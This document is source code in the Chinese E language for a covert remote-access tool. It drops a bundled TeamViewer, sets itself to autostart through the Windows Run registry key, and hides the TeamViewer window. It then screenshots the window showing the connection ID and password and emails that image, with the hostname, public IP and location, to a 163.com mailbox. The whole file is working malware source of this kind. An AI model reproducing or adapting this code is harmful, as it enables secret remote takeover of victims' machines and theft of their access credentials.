窗口程序集名 | 保 留 | 保 留 | 备 注 |
程序集1 | | | |
变量名 | 类 型 | 数组 | 备 注 |
邮件内容 | 字节集 | |
如果 (文件是否存在 (取运行目录 () +
“\配置.ini”))
是否开机启动 ()
写配置项 (取运行目录 () +
“\配置.ini”,
“开关”,
“是否开机启动”,
“是”)
启动线程 (&控制程序, ,
)程序_延时 (,
)返回 (0
)
如果 (读配置项 (取运行目录 () +
“\配置.ini”,
“开关”,
“是否开机启动”,
“是”) =
“是”)
开关 = 真

开关 = 假

如果 (注册项是否存在 ( #本地机器, “software\microsoft\windows\CurrentVersion\Run\Team”))

如果 (开关
)


删除注册项 ( #本地机器, “software\microsoft\windows\CurrentVersion\Run\Team”)


如果 (开关
)
写注册项 ( #本地机器, “software\microsoft\windows\CurrentVersion\Run\Team”,
取运行目录 () +
“\” +
取执行文件名 ())







变量名 | 类 型 | 静态 | 数组 | 备 注 |
窗口句柄 | 整数型 | | |
邮件发送结果 | 逻辑型 | | |
窗口1.可视 = 真
载入 (窗口1, ,
假)
如果真 (程序检查 () =
假)
程序写出 ()
如果真 (程序启动 () =
假)
信息框 (“程序启动失败,请尝试手动启动,请启动后再点击确定”, 0, ,
)
如果 (确认程序启动 ())


窗口1.编辑框1.
加入文本 (“五秒后程序退出” +
到文本 ( #换行符 ))
延迟 (5000
)
返回 ()延迟 (2000)窗口句柄 =
窗口绑定 ()邮件发送结果 =
邮件发送 (快照 (窗口句柄, ,
))
窗口_显示隐藏 (窗口句柄,
假)窗口1.
销毁 ()
判断循环首 (邮件发送结果 =
假)
邮件发送结果 =
邮件发送 (邮件内容
)
程序_延时 (5, 2
)
判断循环尾 ()窗口句柄 =
进程_ID取窗口句柄 (进程_名取ID (“TeamViewer.exe”,
假),
“TeamViewer”,
“#32770”, 5000
)
如果 (窗口句柄 = 0
)
信息框 (“窗口句柄获取失败,请尝试手动启动,请启动后再点击确定”, 0, ,
)
窗口句柄 =
进程_ID取窗口句柄 (进程_名取ID (“TeamViewer.exe”,
假),
“TeamViewer”,
“#32770”, 5000
)
如果 (窗口句柄 = 0
)

窗口1.编辑框1.
加入文本 (“依赖程序窗口绑定结果 假” +
到文本 ( #换行符 ))


窗口1.编辑框1.
加入文本 (“五秒后程序退出” +
到文本 ( #换行符 ))

延迟 (5000
)
返回 (0
)






窗口1.编辑框1.加入文本 (“依赖程序窗口绑定结果 真” + 到文本 ( #换行符 )) 确认加载成功 (窗口句柄
)程序_延时 (10000, 0
)返回 (窗口句柄
)变量名 | 类 型 | 静态 | 数组 | 备 注 |
识别码 | 文本型 | | |
地点 | 文本型 | | |
ip | 文本型 | | |
邮件内容 = 附件
如果 (连接发信服务器 (“smtp.163.com”, 25,
“你的邮箱@163.com”,
“你的密码”, 10000
))

窗口1.编辑框1.
加入文本 (“连接发信服务器结果 真” +
到文本 ( #换行符 ))

窗口1.编辑框1.
加入文本 (“连接发信服务器结果 假” +
到文本 ( #换行符 ))
返回 (假)
如果 (添加附件数据 (附件,
“账号.jpg”))

窗口1.编辑框1.
加入文本 (“添加邮件附件结果 真” +
到文本 ( #换行符 ))

窗口1.编辑框1.
加入文本 (“添加邮件附件结果 假” +
到文本 ( #换行符 ))
返回 (假)ip = 网页_取wai网IP (地点)识别码 =
“主机名:” +
取主机名 () +
“ ip” + ip +
“ 大致地址:” + 地点
调试输出 (识别码
)窗口1.编辑框1.
加入文本 (识别码 +
到文本 ( #换行符 ))
如果 (发送邮件 (识别码, 识别码,
“目标邮箱@163.com”, , ,
“你的邮箱@163.com”,
) =
“”)
窗口1.编辑框1.
加入文本 (“发送邮件结果 真” +
到文本 ( #换行符 ))

窗口1.编辑框1.
加入文本 (“发送邮件结果 假” +
到文本 ( #换行符 ))
返回 (假)返回 (真)
如果 (进程_是否存在 (“TeamViewer.exe”,
假))
进程_结束 (进程_名取ID (“TeamViewer.exe”,
假))
延迟 (2000
)
执行 (4,
取运行目录 () +
“\teamview\TeamViewer.exe”, , , 1
)
执行 (4,
取运行目录 () +
“\teamview\TeamViewer.exe”, , , 1
)延迟 (5000)
如果 (进程_是否存在 (“TeamViewer.exe”,
假))

窗口1.编辑框1.
加入文本 (“依赖程序启动结果 真” +
到文本 ( #换行符 ))
返回 (真)
窗口1.编辑框1.
加入文本 (“依赖程序启动结果 假” +
到文本 ( #换行符 ))
返回 (假)
如果 (进程_是否存在 (“TeamViewer.exe”,
假))

窗口1.编辑框1.
加入文本 (“依赖程序确认启动 真” +
到文本 ( #换行符 ))
返回 (真)
窗口1.编辑框1.
加入文本 (“依赖程序确认启动 假” +
到文本 ( #换行符 ))
返回 (假)
如果真 (目录_是否存在 (取运行目录 () +
“\teamview”) =
假)
窗口1.编辑框1.
加入文本 (“程序检查结果 假” +
到文本 ( #换行符 ))

窗口1.编辑框1.
加入文本 (“正在写出依赖程序 请稍后....” +
到文本 ( #换行符 ))
返回 (假)
如果真 (文件是否存在 (取运行目录 () +
“\teamview\TeamViewer.exe”) =
假)
窗口1.编辑框1.
加入文本 (“程序检查结果 假” +
到文本 ( #换行符 ))

窗口1.编辑框1.
加入文本 (“正在写出依赖程序 请稍后....” +
到文本 ( #换行符 ))
返回 (假)窗口1.编辑框1.加入文本 (“程序检查结果 真” + 到文本 ( #换行符 ))返回 (真)变量名 | 类 型 | 静态 | 数组 | 备 注 |
文件号 | 整数型 | | |
文件 | 字节集 | | |
文件号 =
打开文件 (取运行目录 () +
“\teamview.zip”, 4, 1
)写出数据 (文件号,
#程序包 )关闭文件 (文件号
)文件 =
读入文件 (取运行目录 () +
“\teamview.zip”)文件 =
取字节集中间 (文件, 5,
取字节集长度 (文件
) - 4
)写到文件 (取运行目录 () +
“\teamview.zip”, 文件
)文件 =
读入文件 (取运行目录 () +
“\teamview.zip”)窗口1.ZIP压缩1.
解压 (取运行目录 () +
“\teamview.zip”,
取运行目录 ())
删除文件 (取运行目录 () +
“\teamview.zip”)窗口1.编辑框1.
加入文本 (“程序写出结果 真” +
到文本 ( #换行符 ))
变量名 | 类 型 | 静态 | 数组 | 备 注 |
句柄 | 整数型 | | 0 |
局_计次 | 整数型 | | |
判断循环首 (真)
窗口_枚举子窗口 (顶级句柄, 句柄,
“Static”)
计次循环首 (取数组成员数 (句柄
), 局_计次
)
调试输出 (窗口_取标题 (句柄
[局_计次
]))


如果 (窗口_取标题 (句柄
[局_计次
]) =
“连接准备已就绪(安全连接)”)

返回 ()









计次循环尾 ()
延时 (500
)
判断循环尾 ()|
EThread |
spec |
internet |
shell |
eCompress |